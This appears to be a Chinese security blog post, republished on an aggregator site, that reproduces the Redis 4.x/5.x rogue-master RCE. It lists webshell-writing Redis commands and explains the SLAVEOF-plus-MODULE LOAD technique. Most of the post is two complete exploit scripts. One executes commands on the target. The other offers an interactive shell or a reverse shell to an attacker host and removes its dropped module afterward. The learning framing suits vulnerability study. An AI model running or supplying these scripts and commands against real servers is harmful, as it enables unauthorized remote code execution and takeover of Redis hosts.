Redis 4.x RCE 复现学习
Posted wfzwebsecuity
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Redis 4.x RCE 复现学习相关的知识,希望对你有一定的参考价值。
攻击场景:
能够访问远程redis的端口(直接访问或者SSRF) 对redis服务器可以访问到的另一台服务器有控制权
实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执行的函数,从而进行rce
redis之前的攻击方法有
1.写shell
CONFIG SET dir /VAR/WWW/html CONFIG SET dbfilename sh.php SET PAYLOAD ‘<?php eval($_GET[0]);?>‘ SAVE
但是对于网站根目录而言,redis不一定据有写权限
2.root权限写crontab或者ssh文件
高版本redis运行时为非root权限,并且写crontab反弹shell也仅仅局限于centos
攻击的整个流程为:
1.在我们要攻击的redis服务器上通过slave of来设置master,也就是来设置主服务器 2.在目标redis服务器上设置dbfilename 3.通过同步,将主服务器上的数据存到本地,也就是来写入我们的恶意模块(FULLRESYNC <Z*40> 1\\r\\n$<len>\\r\\n<pld>) 4.在目标机器上执行load来家在我们的恶意模块(MODULE LOAD /tmp/exp.so)
环境搭建:
docker pull hareemca123/redis5:alpine
docker run -p 192.168.1.6:6379:6379 --name redis hareemca123/redis5:alpine
exp地址:
https://github.com/n0b0dyCN/redis-rogue-server
支持交互式shell和反弹shell
我们这里尝试写文件都是可以的:
只不过因为在docker里面所以写文件的位置是有限的,这里我只能写到/data,其他地方写不进去,因为这个镜像只是一个redis,如果是服务器上有redis,那么可以尝试向网站的根目录写shell,这里执行命令都是可以的
这里直接rce的exp:
源地址:
https://github.com/vulhub/redis-rogue-getshell
#!/usr/bin/env python3 import os import sys import argparse import socketserver import logging import socket import time logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=‘>> %(message)s‘) DELIMITER = b"\\r\\n" class RoguoHandler(socketserver.BaseRequestHandler): def decode(self, data): if data.startswith(b‘*‘): return data.strip().split(DELIMITER)[2::2] if data.startswith(b‘$‘): return data.split(DELIMITER, 2)[1] return data.strip().split() def handle(self): while True: data = self.request.recv(1024) logging.info("receive data: %r", data) arr = self.decode(data) if arr[0].startswith(b‘PING‘): self.request.sendall(b‘+PONG‘ + DELIMITER) elif arr[0].startswith(b‘REPLCONF‘): self.request.sendall(b‘+OK‘ + DELIMITER) elif arr[0].startswith(b‘PSYNC‘) or arr[0].startswith(b‘SYNC‘): self.request.sendall(b‘+FULLRESYNC ‘ + b‘Z‘ * 40 + b‘ 1‘ + DELIMITER) self.request.sendall(b‘$‘ + str(len(self.server.payload)).encode() + DELIMITER) self.request.sendall(self.server.payload + DELIMITER) break self.finish() def finish(self): self.request.close() class RoguoServer(socketserver.TCPServer): allow_reuse_address = True def __init__(self, server_address, payload): super(RoguoServer, self).__init__(server_address, RoguoHandler, True) self.payload = payload class RedisClient(object): def __init__(self, rhost, rport): self.client = socket.create_connection((rhost, rport), timeout=10) def send(self, data): data = self.encode(data) self.client.send(data) logging.info("send data: %r", data) return self.recv() def recv(self, count=65535): data = self.client.recv(count) logging.info("receive data: %r", data) return data def encode(self, data): if isinstance(data, bytes): data = data.split() args = [b‘*‘, str(len(data)).encode()] for arg in data: args.extend([DELIMITER, b‘$‘, str(len(arg)).encode(), DELIMITER, arg]) args.append(DELIMITER) return b‘‘.join(args) def decode_command_line(data): if not data.startswith(b‘$‘): return data.decode(errors=‘ignore‘) offset = data.find(DELIMITER) size = int(data[1:offset]) offset += len(DELIMITER) data = data[offset:offset+size] return data.decode(errors=‘ignore‘) def exploit(rhost, rport, lhost, lport, expfile, command, auth): with open(expfile, ‘rb‘) as f: server = RoguoServer((‘0.0.0.0‘, lport), f.read()) #在攻击者主机建立伪造redis主服务器,并且设置恶意模块数据 client = RedisClient(rhost, rport) #连接客户端redis,也就是被攻击的redis服务器 lhost = lhost.encode() lport = str(lport).encode() command = command.encode() if auth: client.send([b‘AUTH‘, auth.encode()]) client.send([b‘SLAVEOF‘, lhost, lport]) #设置我们的攻击机为master client.send([b‘CONFIG‘, b‘SET‘, b‘dbfilename‘, b‘exp.so‘]) #设置用来保存恶意模块的文件名,这里不能跨目录,源码中有限制,lemon师傅已经分析过 time.sleep(2) server.handle_request() time.sleep(2) client.send([b‘MODULE‘, b‘LOAD‘, b‘./exp.so‘]) #加载恶意模块 client.send([b‘SLAVEOF‘, b‘NO‘, b‘ONE‘]) #停止同步主服务器数据 client.send([b‘CONFIG‘, b‘SET‘, b‘dbfilename‘, b‘dump.rdb‘]) #将恶意模块写入到本地磁盘 resp = client.send([b‘system.exec‘, command]) #发送要执行的命令 print(decode_command_line(resp)) client.send([b‘MODULE‘, b‘UNLOAD‘, b‘system‘]) #卸载rce的模块 def main(): parser = argparse.ArgumentParser(description=‘Redis 4.x/5.x RCE with RedisModules‘) parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True) parser.add_argument("-p", "--rport", dest="rport", type=int, help="target redis port, default 6379", default=6379) parser.add_argument("-L", "--lhost", dest="lhost", type=str, help="rogue server ip", required=True) parser.add_argument("-P", "--lport", dest="lport", type=int, help="rogue server listen port, default 21000", default=21000) parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default=‘exp.so‘) parser.add_argument(‘-c‘, ‘--command‘, type=str, help=‘Command that you want to execute‘, default=‘id‘) parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password") options = parser.parse_args() filename = options.file if not os.path.exists(filename): logging.info("Where you module? ") sys.exit(1) exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth) #初始化攻击参数 if __name__ == ‘__main__‘: main()
这个exp只是用来执行命令的,不带反弹shell,下面这个exp是反弹shell的,但是直接跑有点编码上的问题,需要改一点点:
#coding:utf-8 import socket import sys from time import sleep from optparse import OptionParser import re CLRF = "\\r\\n" SERVER_EXP_MOD_FILE = "exp.so" DELIMITER = b"\\r\\n" BANNER = """______ _ _ ______ _____ | ___ \\ | (_) | ___ \\ / ___| | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \\ `--. ___ _ ____ _____ _ __ | // _ \\/ _` | / __| | // _ \\ / _` | | | |/ _ \\ `--. \\/ _ \\ ‘__\\ \\ / / _ \\ ‘__| | |\\ \\ __/ (_| | \\__ \\ | |\\ \\ (_) | (_| | |_| | __/ /\\__/ / __/ | \\ V / __/ | \\_| \\_\\___|\\__,_|_|___/ \\_| \\_\\___/ \\__, |\\__,_|\\___| \\____/ \\___|_| \\_/ \\___|_| __/ | |___/ @copyright n0b0dy @ r3kapig """ def encode_cmd_arr(arr): cmd = "" cmd += "*" + str(len(arr)) for arg in arr: cmd += CLRF + "$" + str(len(arg)) cmd += CLRF + arg cmd += "\\r\\n" return cmd def encode_cmd(raw_cmd): return encode_cmd_arr(raw_cmd.split(" ")) def decode_cmd(cmd): if cmd.startswith("*"): raw_arr = cmd.strip().split("\\r\\n") return raw_arr[2::2] if cmd.startswith("$"): return cmd.split("\\r\\n", 2)[1] return cmd.strip().split(" ") def info(msg): print(f"\\033[1;32;40m[info]\\033[0m msg") def error(msg): print(f"\\033[1;31;40m[err ]\\033[0m msg") def decode_command_line(data): if not data.startswith(b‘$‘): return data.decode(errors=‘ignore‘) offset = data.find(DELIMITER) size = int(data[1:offset]) offset += len(DELIMITER) data = data[offset:offset+size] print(data) return data.decode(errors=‘ignore‘) def din(sock, cnt=65535): global verbose msg = sock.recv(cnt) if verbose: if len(msg) < 1000: print(f"\\033[1;34;40m[->]\\033[0m msg") else: print(f"\\033[1;34;40m[->]\\033[0m msg[:80]......msg[-80:]") if sys.version_info < (3, 0): res = re.sub(r‘[^\\x00-\\x7f]‘, r‘‘, msg) else: res = re.sub(b‘[^\\x00-\\x7f]‘, b‘‘, msg) print(decode_command_line(msg)) return decode_command_line(msg) def dout(sock, msg): global verbose if type(msg) != bytes: msg = msg.encode() sock.send(msg) if verbose: if len(msg) < 1000: print(f"\\033[1;33;40m[<-]\\033[0m msg") else: print(f"\\033[1;33;40m[<-]\\033[0m msg[:80]......msg[-80:]") def decode_shell_result(s): return "\\n".join(s.split("\\r\\n")[1:-1]) class Remote: def __init__(self, rhost, rport): self._host = rhost self._port = rport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.connect((self._host, self._port)) def send(self, msg): dout(self._sock, msg) def recv(self, cnt=65535): return din(self._sock, cnt) def do(self, cmd): self.send(encode_cmd(cmd)) buf = self.recv() return buf def shell_cmd(self, cmd): self.send(encode_cmd_arr([‘system.exec‘, f"cmd"])) buf = self.recv() return buf class RogueServer: def __init__(self, lhost, lport): self._host = lhost self._port = lport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.bind((‘0.0.0.0‘, self._port)) self._sock.listen(10) def close(self): self._sock.close() def handle(self, data): cmd_arr = decode_cmd(data) resp = "" phase = 0 if cmd_arr[0].startswith("PING"): resp = "+PONG" + CLRF phase = 1 elif cmd_arr[0].startswith("REPLCONF"): resp = "+OK" + CLRF phase = 2 elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"): resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase def exp(self): cli, addr = self._sock.accept() while True: data = din(cli, 1024) if len(data) == 0: break resp, phase = self.handle(data) dout(cli, resp) if phase == 3: break def interact(remote): info("Interact mode start, enter \\"exit\\" to quit.") try: while True: cmd = input("\\033[1;32;40m[<<]\\033[0m ").strip() if cmd == "exit": return r = remote.shell_cmd(cmd) for l in decode_shell_result(r).split("\\n"): if l: print("\\033[1;34;40m[>>]\\033[0m " + l) except KeyboardInterrupt: pass def reverse(remote): info("Open reverse shell...") addr = input("Reverse server address: ") port = input("Reverse server port: ") dout(remote, encode_cmd(f"system.rev addr port")) info("Reverse shell payload sent.") info(f"Check at addr:port") def cleanup(remote): info("Unload module...") remote.do("MODULE UNLOAD system") def runserver(rhost, rport, lhost, lport): # expolit remote = Remote(rhost, rport) info("Setting master...") remote.do(f"SLAVEOF lhost lport") info("Setting dbfilename...") remote.do(f"CONFIG SET dbfilename SERVER_EXP_MOD_FILE") sleep(2) rogue = RogueServer(lhost, lport) rogue.exp() sleep(2) info("Loading module...") remote.do(f"MODULE LOAD ./SERVER_EXP_MOD_FILE") info("Temerory cleaning up...") remote.do("SLAVEOF NO ONE") remote.do("CONFIG SET dbfilename dump.rdb") remote.shell_cmd(f"rm ./SERVER_EXP_MOD_FILE") rogue.close() # Operations here choice = input("What do u want, [i]nteractive shell or [r]everse shell: ") if choice.startswith("i"): interact(remote) elif choice.startswith("r"): reverse(remote) cleanup(remote) if __name__ == ‘__main__‘: print(BANNER) parser = OptionParser() parser.add_option("--rhost", dest="rh", type="string", help="target host", metavar="REMOTE_HOST") parser.add_option("--rport", dest="rp", type="int", help="target redis port, default 6379", default=6379, metavar="REMOTE_PORT") parser.add_option("--lhost", dest="lh", type="string", help="rogue server ip", metavar="LOCAL_HOST") parser.add_option("--lport", dest="lp", type="int", help="rogue server listen port, default 21000", default=21000, metavar="LOCAL_PORT") parser.add_option("--exp", dest="exp", type="string", help="Redis Module to load, default exp.so", default="exp.so", metavar="EXP_FILE") parser.add_option("-v", "--verbose", action="store_true", default=False, help="Show full data stream") (options, args) = parser.parse_args() global verbose, payload, exp_mod verbose = options.verbose exp_mod = options.exp payload = open(exp_mod, "rb").read() if not options.rh or not options.lh: parser.error("Invalid arguments") info(f"TARGET options.rh:options.rp") info(f"SERVER options.lh:options.lp") try: runserver(options.rh, options.rp, options.lh, options.lp) except Exception as e: error(repr(e))
我结合第一个exp的redis数据解码方式把第二个的稍微改了下,多字节解码可能报错直接decode(errors="ignore")忽略就好了,接下来就可以执行交互式shell或者反弹shell
以上是关于Redis 4.x RCE 复现学习的主要内容,如果未能解决你的问题,请参考以下文章
漏洞复现phpStudy 小皮 Windows面板 RCE漏洞
Laravel Debug mode RCE(CVE-2021-3129)漏洞复现